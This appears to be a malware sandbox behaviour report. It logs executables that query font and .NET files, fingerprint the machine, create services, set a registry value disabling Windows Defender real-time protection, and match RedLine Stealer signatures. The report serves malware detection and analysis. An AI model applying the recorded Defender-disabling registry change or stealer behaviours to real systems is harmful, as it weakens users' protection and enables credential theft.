Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_00866AAE cpuid

14_2_00866AAE

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_00872EF8 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

14_2_00872EF8

Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe

Code function: 16_2_00981810 OpenSCManagerA,DeleteFileA,DeleteFileA,CopyFileA,OpenServiceA,CloseServiceHandle,GetUserNameA,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

16_2_00981810

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_00862C72 GetVersionExW,

14_2_00862C72

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\Desktop\fJe9em23BB.exe

Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\group policy objects\{DEABB01A-A1FA-4884-A0F5-32D04FE62351}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Modifies Group Policy settings

Source: C:\Users\user\Desktop\fJe9em23BB.exe

File written: C:\Windows\System32\GroupPolicy\GPT.INI

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack, type: UNPACKEDPE
